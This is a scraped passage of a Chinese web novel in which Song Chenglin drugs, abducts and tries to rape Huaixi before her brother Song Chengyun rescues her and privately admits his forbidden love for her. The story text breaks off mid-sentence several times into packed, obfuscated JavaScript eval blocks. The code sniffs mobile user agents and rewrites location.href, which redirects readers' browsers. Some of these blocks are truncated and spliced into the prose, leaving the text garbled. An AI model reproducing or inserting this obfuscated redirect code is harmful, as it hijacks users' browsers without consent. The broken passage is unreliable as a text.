“可我不敢送啊。”宋承林陷入某种魔怔的情绪,他的眼神带着疯狂的灼热,在看到怀夕手腕上的沉香手钏后,声音陡然变得尖锐,忽地伸手握住怀夕的手腕,“凭什么他可以,我就不可以?” 怀夕被他的动作吓了一跳,用力要抽回自己的手。 可宋承林握得更紧。 他的手指攥紧,指心发白,从手钏滑到雪白莹滑的肌肤上时,似乎又陡然清醒了两分。 他甚至在上面留恋地游离两下...... 当然,这样恶心且放荡的动作,换来的是怀夕用尽全力一巴掌。 怀夕紧皱着眉,左手抽脱不出,右手顺势抬起,狠狠甩了他一巴掌。 “够了。”怀夕身体往后仰,试图拉开与他的距离,语气冷得像冰,“宋承林,你疯了?” 是疯了啊。 不然他怎么会来金陵呢。 宋承林的眼神阴鸷而狂热,见怀夕疼得蹙眉,他终于松手放开他。 而后,他将刚刚滑过她手腕的那只指心放到唇上...... 简直是个疯子。 怀夕眼中毫不掩饰她的厌恶,她已经不想再多停留一会,转身就要走。 宋承林觉得自己的心里仿佛有一团火在燃烧,烧得他几乎失去理智,而怀夕的冷淡、排斥、厌恶,全都为那把火添了柴。 “这样就不敢听了?”看着她厌恶的表情,宋承林如同一条失控的疯狗,“你以为你爱重的宋承云又是什么货色?” 怀夕的手原本已经搭在门框上,听到哥哥的名字,还是背过身来。 宋承林已经失去理智,见她愿意停留,脸上复又扬起那抹温朗的笑容,快步追了过来。 “对不起,对不起,夕儿,我不该说这些话,都是我的错。我只是...太喜欢你了。”宋承林胸膛剧烈地起伏着,他尽力想控制好自己的情绪,不想吓到眼前的女子。 他伸手想去拉怀夕的手。 见怀夕后退,他也不恼怒, “同我回泸州好吗?你没有入族谱,不算我的妹妹,这么多年我不娶妻,是因为我想娶的只有你,这次回泸州,我一定求祖母,求父母亲同意。”他又开始沉浸在他的世界里,眼角甚至开始泛红,带着一种疯狂的执着,“不回泸州也好,去哪里都可以,夕儿,你想去哪里都可以。” 怀夕并不理会他的胡言乱语,只是冷冷说道:“不准你侮辱我哥哥。” “哥哥?哥哥!”宋承林的身体因过于激动有些颤抖,“你以为,你的好哥哥,同我有什么不一样?” “我不会看错的。”宋承林靠近怀夕耳边,逐字逐句地,如同恶魔的低语:“宋怀夕,你的好哥哥,宋承云,对你,不是兄妹之情,是男女之情。” 怀夕显然也有些被激怒了,只是还不及反应,就感觉后颈一阵发麻,而后,失去意识...... - 再醒过来的时候,怀夕不知道自己躺着哪里,手脚都被绑着,嘴上也被塞了一团棉布。 周围一片昏暗,什么都看不清,但耳边能听见马车奔跑的轱辘声,她料想自己是在马车上。 她尝试想坐起来,却发现全身发软。一点力气都使不上。待眼睛慢慢适应黑暗后,怀夕才发现,周围有一道目光正紧紧锁住她。 宋承林的脸完全隐没在黑暗中,他的指尖轻轻敲击着手上的茶杯,不知道已经在黑暗中看了怀夕多久...... 见怀夕慢慢转醒,他的眉梢轻轻挑起,伸手将她扶坐了起来,又拿掉她嘴上的棉巾,端来桌上另一盏茶喂她。 怀夕无力地靠在马车檐壁上,仅剩的气力将头偏转。 宋承林却仿佛很有耐心一般,还是把杯子轻轻贴近她嘴边。 他喂水的动作还算轻柔,只是怀夕不配合,杯里的水洒了一大半。 见状,宋承林用两指顶住她的下颌,硬是喂了两口水下去。直到怀夕控制不住咳了起来,才将手杯拿开。 “小艾呢?”咳完之后,怀夕更是连说话的力气都没有,说出来的声音软趴趴的。 宋承林随手拿了一块帕子,擦拭着手上因怀夕挣扎而溢出的茶水。 “你还真是看重那个傻丫鬟。”他冷笑一声,“自己都顾不了,还要管别人。” 怀夕呼吸断断续续,很是吃力,眼神却始终死死瞪着他。 宋承林往后倚靠,好整以暇地看着怀夕愤怒的表情,唇角微微上扬。 人已经在他手上了,一想到他们以后永远都能在一起,宋承林心头就忍不住震颤,他很是享受这种隐秘的快感。 “放心,那个蠢丫鬟没事。只要你乖乖听话,过段日子,会让你见到她的。” 怀夕倒没有怀疑宋承林这话,他胆大包天,既然都敢做出绑架她这种事,不至于连这个都要骗自己。 “你要绑我去哪?”怀夕的唇角微微下撇,眼中满是鄙夷与不耐,“你知道我哥哥...” “嘘...”宋承林弯下腰,伸手盖住怀夕眼睫,他不喜欢她露出这样的神情。 她有那么一双干净得令人心颤的眼眸,就应该永远天真和纯粹。 尤其是对他。 果然,他的动作,比任何语言都更快让怀夕噤声。 “别碰我。”怀夕低斥。 许是觉得怀夕无力挣扎,又或是怕伤了她,怀夕手脚上的绳子绑得并不算很紧,只是怀夕屡次挣扎,所以手上还是勒出一片红痕。 听到怀夕无力的呵斥,宋承林也不恼。 只要她能乖乖呆在他身边,他有的是时间等她回心转意。 看着怀夕憋得红红的眼眶,他还是把手收回,目光往下移,落在她印上红痕的手腕。 好似痛的人是他,他皱了皱眉,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但因还不知道是什么情况,找人也不敢声张,毕竟怀夕还是一个未婚配的姑娘家,夏敏还要为她的名声考虑, 今夜太子宴请,她的丈夫王楚修应邀而去,夏敏知道宋承云也在那,立马让身边的马嬷嬷去传话。 但毕竟是太子府,森严戒备,不管你是谁家的家仆,都要经过层层盘问才得以进去。因此,宋承云得知这个消息的时候,已经是亥时了。 好在宋承云官职不高,从席上退下时,并未引起什么关注。 在马嬷嬷嘴里得知消息后,宋承云立马打马回府,回程中让松毫立马去找于子恒来。 “宋承林在哪?” 一到宋宅,还来不及见礼,于子恒便先听到宋承云冷冰冰的声音。 事关怀夕名声,来的路上于子恒问什么,松毫都不敢乱说,所以于子恒只知道他们在找怀夕,其他情况一概不知。 虽不知宋承云为何突然提起宋承林,但畏于他此刻阴沉如乌云的脸色,于子恒还是赶紧回道:“应在回泸州的船上了。” 酒醒后,他思路还算清晰,“我替他订的船,三公子在我这订了不少货,来今早装上船,我让人去渡口问了,未时那艘船就离岸了......” “你亲眼看他登了船?”宋承云的声音冷硬。 “...并未。”于子恒讪讪说道:“午膳有些忘形,有些喝醉过去.......” 几番问话之后,于子恒反应过来,宋修撰是怀疑怀夕的失踪与宋承林有关。 先不管他之前对宋承林印象有多佳,他眼珠子转了转,“那艘运货的船是我在熟识的船行定的,船夫和搬货的人也是船行的,我马上叫人去船行问一下。” 46. 第 46 章 宋承云酒力不算极好,好在今晚是在太子的酒宴上,倒没有人敢做出劝酒灌酒这种失礼的事情,只是他多多少少还是喝了几杯。此刻,他的皮肤不似往前冷白,眼角处因酒意洇出一片淡淡的红。 大约是酒意放大了人的情绪,他一向沉静的神情难得能看出有些焦躁。清冷化作叫人心惧的阴翳。 “已经着人去了。” 于子恒说的这些,宋承云已经都了解到了,找他来,是想得到更有效的消息。 于子恒有些惊讶于宋承云的反应速度,不禁抬眼看他。 因着怀夕的缘故,于子恒多少见过几次宋承云,他从前惊叹于他的才华和他皑皑如霜雪的清冷气质,可如今那股清冷化为幽暗的冷硬,他的眸光深黑,于子恒无端觉得心惊。 “把你们今日从见面到分开所有的事情,都讲一遍。”虽心急,但宋承云语气还是很冷静。 “好。”于子恒深吸一口气,试图让自己平静一些,仔细回忆说着今日的每一个细节。 ...... 待于子恒讲述完,宋承云垂下眼睑,面上仍无甚表情。 于子恒咽了咽口水,在宋承云发话前,一动也不敢动。 “公子,去船行打听的人回来了。”松毫的声音打破死寂般的沉默。 “带进来。” 回来的小厮带着船行的伙计走进来,那船行伙计以为卷入了什么祸事,一进门就立马趴跪下来,将今日的见闻一五一十地交待。 那伙计仔细回忆着,“......装完货后,确实有一位男子搀着一位姑娘一起上了船。” 因那姑娘走路时姿势有些奇怪,好像得了重病一般,脚步虚软,他才多看了几眼。 “不过那姑娘带着帷幔,我也没有看清面容......” “看清那男子面容了吗?”宋承云问。 “看清了,那男子大约十七八岁,嘴角边有一颗黑痣。” 黑痣? 不是宋承林。 宋承云手指无意识地在桌上轻点,不知道想到什么,又吩咐松毫:“立刻备马,我要再去一趟太子府。” 要想不掀风波安静地在金陵找到一个人,只有太子能做到。 果然,再从太子那里回来不久,今日客栈及周遭发生的所有事,这几日全城车马行所有车马的使用记录,都一并送到宋承云手上。 宋承云根据这些口述和记录,抽丝剥茧地从里面找到一些信息,很快,他从多处看似无关紧要的记录中理出一些蛛丝马迹。 车马行给的记录上,宋承林昨日只租了一辆马车,而那辆马车在今日已经归还。 但,在另一份呈给太子的密折中,宋承林昨日曾随意叫住客栈门外走街串巷卖东西的小贩,给了他一串银钱,让他替自己跑腿,去车马行替他多租用了一辆马车。 宋承云心里隐隐有了猜测,或许已经上了商船的那女子不是怀夕...... 不过他还是不敢掉以轻心,水路上依旧派了人去追,也在各站停靠岸点安排好了人去查实。 而关于那辆新租用的马车,也借用太子的人马去追踪,只是宋承林狡猾,路上不停使用障眼法,换了好几次马车,等人真正定位到,已经是三日后了。 - 罗湖位于洛水之南,与金陵不过九百里,属于南北地交界。 宋承林原本不想在此地停留,依他原先的想法,再往南跑上两日就到田朔。 那里离泸州还有段距离,不过也不算太远,且田朔天气会温朗些,不似北地那么天寒地冻。 可不巧,怀夕在半路发起了烧。 这姑娘果然如少时一般,决心和他对着干,倔得很,一路不肯吃喝,又被他下了软骨的药,浑浑噩噩的,也不知道怎地,路上突然犯起了喘,明明天气寒冻,却硬生生出了好一阵汗。 马车上物资不全,宋承林只好替她盖上厚厚的被褥,可没想到,一热一寒便发起烧了。 无奈,宋承林只好就近在罗湖停下,带怀夕问诊后,大夫说不准她的气喘,只开药说是先让她退烧要紧,又叮嘱近日最好不要过于劳累。 宋承林原本有些犹豫,可看怀夕脸庞苍白如纸,终是不忍。再加上他觉得自己的安排天衣无缝,最后他决定在罗湖停留几日,等怀夕稍好转一些再赶路。 于是他在城郊临时租下一座小宅子,又找了一两个仆人侍候怀夕。 被灌了两碗药,隔了一夜,怀夕的烧总算褪了下来,不过还有些反复不定。 因怀夕烧得不省人事,宋承林不敢也觉得不必再给她用软骨散,为免旁人多疑,也未再绑着她。 没有软骨散,烧也退了些,翌日一早,怀夕从睡梦中醒来。 几日的浑浑噩噩,马车日夜不停地奔跑,漫长的黑暗......虽然醒来时头脑清醒了些,但怀夕也拿不准现在距离她被宋承林拐走已经过了几日。 她试图动了动手指,不似前几日那般疲弱,勉强能蓄些力。 屋内有些阴暗,炭火却有些旺,烧得脸上燥燥的热。 在她打量周围的时候,耳边听到门嘎吱一声。 怀夕摸不清现在的情况,下意识闭上了眼。 门外,一个看着有十二三岁的小丫鬟捧着药碗走了进来。 她先把碗放到桌上,才走到床边,对着怀夕轻轻唤了声:“娘子,吃药了。” 小丫鬟昨日才被买来,年纪小,眼神里还存着天真。见他们的公子长得一表人才,又对昏迷的小娘子颇是体贴,以为自己找了个心善的主家。 陌生的声音,不是宋承林。 怀夕不敢掉以轻心,遂慢慢睁开眼,装作刚醒的模样。 “娘子终于醒了。”小丫鬟看到怀夕苏醒,很是惊喜,“公子吩咐,若娘子醒了要立马告诉他,娘子稍等,奴婢到门口唤小艺过来...” “等会。”怀夕虽还没搞清楚眼前的状况,可也知道她嘴里的公子大概是宋承林。 她急忙制止她,“不着急,我头还晕着,你先扶我起来...” 小丫鬟未多想,诶了一声,就来扶她。 怀夕借着小丫鬟的力,撑着床沿,终于靠坐起来。 “这是哪里?” “娘子,这里是...” 嘎吱一声,门又被推开。 小丫鬟转头去看后,立马从床沿退开,低垂着眉眼喊道,“公子。” “下去吧。”来人淡淡应道。 小丫鬟应是。 门又掩上后,宋承林从桌上端起药碗,在怀夕愤愤的目光中一步一步走近,落坐在床沿。 黑乎乎的药汤,难闻的药味。 宋承林用手测了测碗沿,觉得温度妥帖,舀起一勺凑到怀夕嘴边。 “宋承林,你到底想怎样?”怀夕皱着眉,双眸瞪圆,不掩嫌恶地看他。 宋承林似有些无奈,轻轻哼笑,将药凑得更近些,“妹妹,先喝药,听话。” “......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187476|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>怀夕觉得有些恶心,控制不住,轻轻颤了下,鸡皮疙瘩起了一身。 宋承林却以为她畏冷,把碗放下,将她的被子拉高了些,收回手时不经意碰到怀夕放在一旁的手指。 怀夕猛然收回,下意识地抓紧衣服。 宋承林盯着她抓着领口的动作,呵笑了一声,“挡什么,你这身衣服,你以为是谁换的。” 怀夕垂眸,才注意到身上的衣服的确换过。 ...... “宋承林,你个肮脏小人。”怀夕气得有些发抖,咬着后槽牙,用自己最大的力气,扇了宋承林一巴掌。 巴掌落在宋承林身上,力度犹如挠痒,可怀夕却已经直喘不止,因气喘和生气眼眸泛着点点湿意。 怀夕的气喘大夫诊不出缘由,宋承林见她这两日也没再发作,本稍稍放下心。但眼下见怀夕一激动,又有点气喘的趋势,怕她又出什么差错,于是赶紧解释道:“逗你的,是刚刚那丫鬟帮你换的。” 宋承林小时候与怀夕斗了几年,多少也知道怎么拿捏怀夕。 “你不信就算了。反正我都背了恶名。”他看着怀夕,一字一字地说道:“既然我是肮脏小人,下次,我,一,定,亲,自,帮,你,换。” “无耻。”怀夕拿他没办法,只能恨恨地骂道。 宋承林仿佛从她的愤怒中得到逗她的乐趣,神情颇是愉悦,又去端那碗黑乎乎的药。 “喝了,否则,我一定......” 不等他说完,怀夕抢过那碗药,一口喝下。 只是喝得急,咽下后便是控制不住地咳嗽。 宋承林见状,伸手想替她顺顺背。 可怀夕如惊弓之鸟,看他抬手,整个人都往里缩。 见怀夕如此戒备,宋承林也有些不悦。 “此地不宜久留,既你已经醒了,那午后便启程吧。” 怀夕不知道这里是何处,但她知道她没回府,哥哥一定会来找她。 拖延些时间总是有好处的。 于是她稍稍坐直了些,“不能明日吗?我头还晕着,马车颠簸,......” 宋承林见她语气稍稍放软了些,抬眸看她。 小姑娘白衣覆身,一头垂落的黑丝衬得小脸愈发莹白,脸颊因长久的发烧还有些晕红,苍白的唇瓣被她刚刚生气咬出几个殷红的血印。 她说着示软的话,可那双清澈剔透的瞳眸里仍是满满的倔强。 连演戏都不会演。 可她就这样娇娇地坐在他的床上,亦如从前做过的无数梦..... 宋承林做梦都不敢相信,有一天他们能如此刻这般亲密。 仅仅是这样看着,有些地方便不受控突然胀痛起来...... 见他不说话,怀夕的脸色越来越难看。 宋承林犹豫了一下,终于还是点了头,“行,那便明日。” “但,我再提醒你一句。”宋承林脸色骤然阴沉,“若你不想吃亏,就别给我耍什么心眼。宋承云找不到我们的...” 宋承林话没说完,怀夕就转身躺了回去,闭上眼,明显不想再理会他。 无非一死,说这些威胁的话有甚用。 “......”怀夕一转身,宋承林的目光变得越发阴翳,想到之前看到他们二人那个亲昵的画面,他的手指紧紧攥成拳。 看着眼前小姑娘柔软的背影,他勉强让自己平静下来。 好在,你很快就会是我的了... 47. 第 47 章 怀夕琢磨了一个早上,心里有些想法。午膳时,早上的小丫鬟来送饭,怀夕故意留下她说话。 得知此地是罗湖,她有些惊讶。 虽不熟识地理,但哥哥书房里有一副地图,她曾在上面见过这个地名,大致位于洛水以南。 她在心里叹了口气,才几日就跑了这么远,也不知道哥哥什么时候才能追上来。 小丫鬟年方十一,说话时还有些稚气,见怀夕好说话,存着讨好的意思,“娘子不知,您昏迷那晚,公子守了您一夜,奴婢从未见过这般体贴的郎君......公子与娘子真是郎才女貌...” “......”怀夕忍不住翻了个白眼,饭都吃不下了,于是放下筷子。 她发现,眼下除了宋承林,只有这个小丫鬟能出入她这个屋子。也实在没有办法,她只能把希望寄托在这小丫鬟身上。 “小兰,你听我说,其实我不是他的娘子,我是被他拐走的......” 待怀夕说完,小丫鬟瞪大了双眼,捂着嘴:“你是说,公子是坏人?” “没错。小兰,你能不能帮帮我,”怀夕摸了摸身上,原先的衣物和钗环都卸了,她走到梳妆台前,把桌上的耳环首饰全抓起来,走回来递到小兰手里,“你偷偷找个人替我去官府传话,找人来救我,好吗?” 小兰越听越害怕,下意识就开始摇头,她不敢,万一公子发现...... “你放心,他不会知道的。”怀夕绞尽脑汁,想着说服小兰的法子,“明日,明日我们离开前,我跟他要你的卖身契,放了你。” “你放心,等我回到我哥哥身边,我一定会重谢。” 小兰是穷苦人出身,向来胆小,可本性善良,经不住怀夕的哀求,最后还是点了点头。 - 怀夕在屋里做了一个下午,等待着小兰的回信,可直到夜幕降临,小艾也没有来...... 屋里的炭火慢慢熄灭,过了酉时,也没有人来送饭,怀夕心里开始有了不好的猜想。 怀夕走到门口叫了一声,却无人回应,想推开门却发现外头不知何时已经被上了锁。 她回头,看了看东边的窗户,心里暗暗起了一个想法。 可看着身上轻薄的寝衣,又有些犹豫...... 杀千刀的宋承林,屋内一套衣物都不给她留着。 虽说罗湖不似金陵那般冷,可听小兰说,此处离城里还有几里地,附近没几户人家,自己一身寝衣能跑哪里去...... 怀夕踌躇了一会,还是打算逃了再说,总好过被宋承林关着。 她搬了个椅子到窗下,小心翼翼地打开窗户。 她推得很小心,但推动间窗台还是发出小小的声响,怀夕屏息一会,竖着耳朵听周围的动静,慢慢地将窗户开得更大些...... 但,两条腿刚坐到窗台上想往下跳时,一声冷冷的男音打破寂静。 “妹妹,你可真能耐啊。” ....... 怀夕被这突然传来的阴恻恻的声音吓了一跳,稍稍往前探了探身,才发现宋承林不知何时站在回廊的转角处,像恶鬼一样,满眼怒火,正死死地盯着她...... 阴魂不散,怀夕皱了皱眉,旁若无人地跨回屋内。 然后猛地啪一声,将窗户关上。 很快,门口便是开锁的声音,怀夕眼神亮了亮,忍不住用余光看着门口,想看看小兰有没有可能也在门口。 但宋承林一进来,门外便有人将门拉上,而后,是锁钥的声音... 即便他在屋内,也要叫人将房屋落锁... 真是个疯子。 宋承林把手里的食盘放到桌上,又走到炭盆前,往炭盆里扔了几块炭。 火苗有一瞬间往上窜,火光下,他的神色很平和。 “过来吃饭。”他坐回桌边,看着仍站在窗边的怀夕,平静地说道。 怀夕连头都不回,只是盯着那泛黄的窗纸看。 自被宋承林挟走后,怀夕心里虽然憎恶此人,但她很少在言语上与宋承林起争执,多是安安静静的。 她知道怎么做对自己来说相对安全,她不想激怒宋承林,想尽量拖延些时间等哥哥来救她。 但她不知道,她那种安静的冷漠,如同一根无形的冰刺,锋利而冰冷,屡屡刺穿宋承林刻意维持的平和。 果然,见怀夕看都不愿看他,宋承林脸上的平和逐渐破碎,但他还是强压着气,又重复一遍:“搜我叫你过来。” ...... 怀夕身姿单薄地站在窗前,炭盆还没旺起来,他甚至能看到她冻得微微发抖。 宋承林气极反笑,自己倒了一杯茶水,缓缓道:“你与那个小丫鬟,叫小兰的。” 说完后,他故意停顿了一会,轻抿一口茶。 见窗前的女子终于愿意转过头来,他才又说道:“可惜了,难得这个丫鬟能入你的眼。” 怀夕知道,她与小兰密谋的事大概是暴露了,她咬了咬唇,想让自己镇定下来。 “不关她的事,你别伤害她。” “你看,你对身边的人永远这么好。”宋承林唇角挂着淡淡的笑意,可那笑意未达眼底,反而透着一股寒意。 见怀夕蹙起眉头,又是那种不理解的眼神,他的眼底愈发沉得发暗。 “为什么?” “你说,我到底要怎么做?” 到底要怎么做,她才能看到他,接受他。从小到大,软的硬的,他都试了,为什么她什么都不买账。 怀夕确实不理解,她根本不知道他又在说什么疯话,她冷冷地看着他,说道:“你放了我。” “宋承林,你放了我吧,我保证,不会让哥哥追究此事。”怀夕企图宋承林还留有一寸理智或正常的头脑,但显然没有。 宋承林听到怀夕又听到哥哥二字,愤怒地将手中的杯子往前摔。 一地破碎。 “宋承云到底有什么好的?”多年来的嫉妒涌上心口,宋承林提步像怀夕迈来。 怀夕躲避不及,被他逼退,背靠窗户。 宋承林双手撑在她头两边,低吼着问道:“为什么他什么都不用做,你的眼里永远都只有他。” 怀夕被他困在两臂之间,脸上却无畏惧之色,他愈愤怒,怀夕愈平静。 看着怀夕如看跳梁小丑的神情,宋承林脸色逐渐狰狞起来,慢慢地,他嘴角扯出一抹冷笑。 明明是那么温暖生动的一个人,为什么偏偏对他坚硬而冰冷,为什么他每次靠近,得到的只有刺痛的寒意。 他不喜欢她此刻的神情。 他竟然在她这双清澈灵动的眼眸里,看到有如宋承云般疏冷缥缈的眼神。 她身上怎么可以有宋承云的影子。 “我说了,宋承云对你,有不轨之心。”宋承林盯着怀夕的眼眸,企图搅散她眼神中有如实质般缥缈的雾气。 但那双眼眸未曾因为他的话起过一丝波澜。 他不是早就知道了吗,没有人能破坏宋承云在她心中的形象。 浓浓的嫉妒和被忽视感将宋承林的理智燃烧殆尽,他突然疯狂地笑了起来,“你说,若是他看到,你,他最珍贵的妹妹,被我压在身下......” 宋承林重重地将怀夕拉到桌前。 “喝。”他指着食盘上那碗黑乎乎的药,眼睛发红,威胁道:”不喝,我就要了那丫鬟的命。” 怀夕嗅觉向来敏锐,她被宋承林喂了几日的软骨散,软骨散的味道她早已熟识。 她愤愤地瞪着宋承林,不肯喝。 “随你。”宋承林说完这话,甩了袖子就要走。 看宋承林煞气十足的模样,怀夕又担心他真的会对小兰动手。 他离开的脚步声一声一声像踩在她的心口上,待听到他带着怒气的声音让门外开门时,怀夕还是把碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋承林彻底忍不住了,三两下除了自己的外袍。 就在他要俯下身时,忽然听到外面一阵急促的奔跑声,尖叫声,紧接着就是门砰砰被破开的声音。 宋承林还没来得及反应,正要拎起自己的裤腰带出去看看时,一阵疼痛袭来...... 鲜血猛低蓬勃喷出,染红了宋承林的眼睛,他在惊痛下被踢飞到一侧,眼前一只见骨的还在流着血的手臂直喇喇地映入眼帘。 他的手...... 他抬头,终于看清破门而入的人是谁。 宋承云。 该死的宋承云。 宋承云一剑砍掉宋承林的半只手臂后,看都没看他,径直走到床前。 目光在触及到床上的人儿和满床单的血迹时,他眼眸骤然一缩,那双惯常清冷的眸子翻涌着难以掩饰的痛楚。 他解下披风,俯身小心翼翼地将怀夕抱入怀里,用披风把她紧紧包住。 而终于反应过来自己的手被砍断的宋承林在极度崩溃中看到宋承云再一次将怀夕抢走时,忍不住嘶叫了起来。 “宋承云,她是你妹妹!。” 在宋承林的嘶叫声中,宋承云往外走的脚步终是顿了顿,回头看他。还是将头转了过来。 看着怀里的女子轻轻发抖着,宋承云的下颌绷紧,仿佛在极力压抑着什么。他的手掌轻轻托住她的后背,小心翼翼地安抚着,动作却轻柔得仿佛在对待一片羽毛。 “是我。”他在她耳边说。 怕吓到她,他极力收敛周身的戾气。只是眼眸落在宋承林身上时,一向清淡的眉宇如同凝着血煞,仿佛在看什么令人作呕的东西一样。 “那又如何。” “滚。” 48. 第 48 章 怀夕不知道宋承林这次还给自己下了什么药,她全身又是无力又是燥热,甚至还出现了幻觉。 彻底失去意识前,她仿佛看到了哥哥。 她眼睛无力地闭上,可依稀还能感受到有人将自己抱起。 她极力想推拒,可抱着的那人微微收紧,熟悉的清冽声音在耳边响起:“是我。” 淡淡的松木香若有似无地萦绕在鼻翼旁,怀夕莫名地心安,舒服地一声喟叹,放任自己无意识地昏迷过去...... - 再次恢复意识,耳边又是马车奔行的轱辘声。 怀夕在心底重重叹了一口气,看来,见到哥哥确实是自己的幻觉。 自己仍在宋承林手里...... 宋承林这次下了更大剂量的软骨散,怀夕虽有了些意识,可连将眼睛睁开的力气都没有。 她怀疑自己又发烧了,身上的燥热一阵一阵地烘烤着她,手心的痛楚隐隐传来,勉强让她不被那股晕眩吞噬。 身子好像被挪动了一下,紧接着是水流碰撞杯壁的声音。 温热的触感,即使她紧抿着,那人还是不厌其烦地用水润着她的唇瓣。 怀夕心里有些厌烦,可一丝力气都使不上...... 很快,一双微凉的手在她眉间抚了抚,紧接着又是那道熟悉的清冽声音。 “别怕,是我。” 原来是哥哥。 怀夕心里松了口气,紧皱的眉头渐渐松开...... 马车颠簸,怀夕身上不止一处的伤口,每颠簸一次就皱紧一次眉头。 最后,宋承云只好在膝上铺上厚厚的被褥,半揽着她,让她睡得安稳些。 而自上了马车后,宋承云的目光没有离开过怀夕。 他半拥着她,仔细地看着她的睡颜,已经不知道几日没有合眼了,他的眼睑下是淡淡的青褐,失而复得的庆幸暂时压下他眸底的凶戾。 他的手轻轻牵过怀夕那只被瓷片扎得快要穿透的手指,眼中尽是自责与心疼...... 其实宋承林设下的障眼法不算高明,可宋承云怕错过任何一次机会,只能一遍一遍地迈入他设的圈套,几波人马日夜没有停歇过...... 好在找到她了。 怀里实实在在的温暖让他杂乱了几日的思绪稍稍停歇,他缓缓垂下眼眸....... - 宋承云并没有急着赶路,到了罗湖城里,先找了个客栈落脚,请了附近的大夫过来看诊。 大夫诊完脉后,神情颇是沉重,对宋承云说道:“姑娘这脉象,举之无力,按之空虚,应是服了什么药物的缘故。” 宋承云救出怀夕时,随从从宋承林的屋子里搜出一装着药粉的葫芦型小瓶子呈给他,听了大夫的话,他将药瓶子拿给大夫,“请大夫看看,这是什么?” 那大夫打开盖子,放在鼻子边闻了闻,又倒出一点点,放在舌尖上辨认味道。 “是软骨散。”大夫把瓶子递还给宋承云,“这物多见于烟花柳巷之地,少量服用能叫女子身体娇软,有些助兴的效用......” 大夫点到为止,“可若量用得大了些,就会如同姑娘这般,少说也要昏睡几日......” 显然,大夫看出眼前公子眼里的担忧,又解释安抚道:“倒也不算什么毒物,只是让人虚弱几天。老夫为姑娘扎几针,理顺一下气血,再喝几帖药,应能大大疏散药效。只不过姑娘手心手臂还有伤口,恐怕接下来几日会发热,需得仔细照料着......” 宋承云点了点头,“多谢大夫。” 虽不知道床上的姑娘到底经历了什么,不过见宋承云器宇不凡,身边还有持械的士兵,料想他不是普通人,所以除了病情,大夫并不曾多打听什么。 “先把伤口重新处理吧。”大夫拿出绷带,药粉,把针袋提前平铺开。 大夫的随从并未得进,所以眼下大夫也只能使唤身边的人。 宋承云本想转头回避,就听到大夫说道,“你过来把她袖口拉高些。” “...嗯。” 袖口拉开后,那大夫皱了皱眉,“......想来姑娘是用这样的方法来对抗药效......” 软骨散素有恶性,任你是什么武功盖世的人,只要服了软骨散,都会变成一只软趴趴的虾...... 虽然不知道这小姑娘经历了什么,但这大夫多少也佩服这小姑娘的烈性。 宋承云不知道怀夕身上还有这么多深浅不一的伤口......目光在触及她伤痕累累的身影时,骤然一缩,瞳孔深处仿佛有什么东西碎裂开来。 怀夕手臂上的伤口有些狰狞,但已经经过了几日,伤口上结了痂,大夫换了药粉,重新包扎好。 但手心那道伤口还很新,又深的见骨,皮肉紧紧沾在纱布上,大夫轻轻一碰,睡梦中的怀夕疼得直皱眉。 宋承云竭力让自己平稳,他的手指轻轻拂过她额角疼出的汗水,不厌其烦地在怀夕耳边哄着她。 可他性子方正,说来说去都是那几句。 “夕儿别怕。” “夕儿乖。” “很快就好了。” 而怀夕每呜咽一次,他的胸膛就颤痛一次..... 才华艳绝的状元郎从来不知道自己的语句是这般匮乏无力...... - 怀夕这一睡,就整整睡了两个日夜,期间不吃不喝,连宋承云一小口一小口强喂下去的药,也吐了大半出来。 大夫每日来几次,最后一次来,说脉象稳了许多,但宋承云紧蹙地眉头还是松动不下来。 大夫走后,他在床沿坐下。 小小的人儿裹在厚厚的被褥里,雪肌黑发,从前粉嫩活力的脸庞如今一片苍白,连睡着都要轻轻皱着眉。 从来静不下来的性子,如今却能几日几夜躺着不动。 宋承云都能想象她醒来不满埋怨的神态...... 怀夕睡得冗长,却极是不安,中间发了几次热,呓语不断。 宋承云只能拉着她未受伤的手一遍一遍安抚。 煎药,喂药,煮水...所有他都亲力亲为。 宋承云从来没有想到自己有一日会失去怀夕,如今失而复得,却更是战战兢兢。 他自小读书,无一师傅不夸赞他灵根天成。他读金刚经,里头道:凡所有相,皆是虚妄。若见诸相非相,则见如来。 他不过是一直在自欺欺人罢了。 很早之前,他便察觉到自己对怀夕异于兄妹的情意了。 王老太师常常夸他端正持重,可谁知道,他心里藏了多么荒唐背德的想法。 一开始,只是因她的靠近而窃喜。 后来,看到她对别的男子笑,他便忍不住心头的怨怒。 可妹妹不是他的附属品,她是活生生一个人,她有权利决定自己喜欢什么样的男子,过什么样的日子。 对谁笑,为谁哭,统统不是他能干涉的。 她将来会嫁给一个她心爱的男子,若是她愿意生孩子,那她的孩子或许也会承袭她同样动人的眼眸。 他只是哥哥。 只能是哥哥。 震惊,抗拒,无奈,接受...... 他以为他可以忍受的。 他向来的修身法则说到底,就是得失相伴,顺其自然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 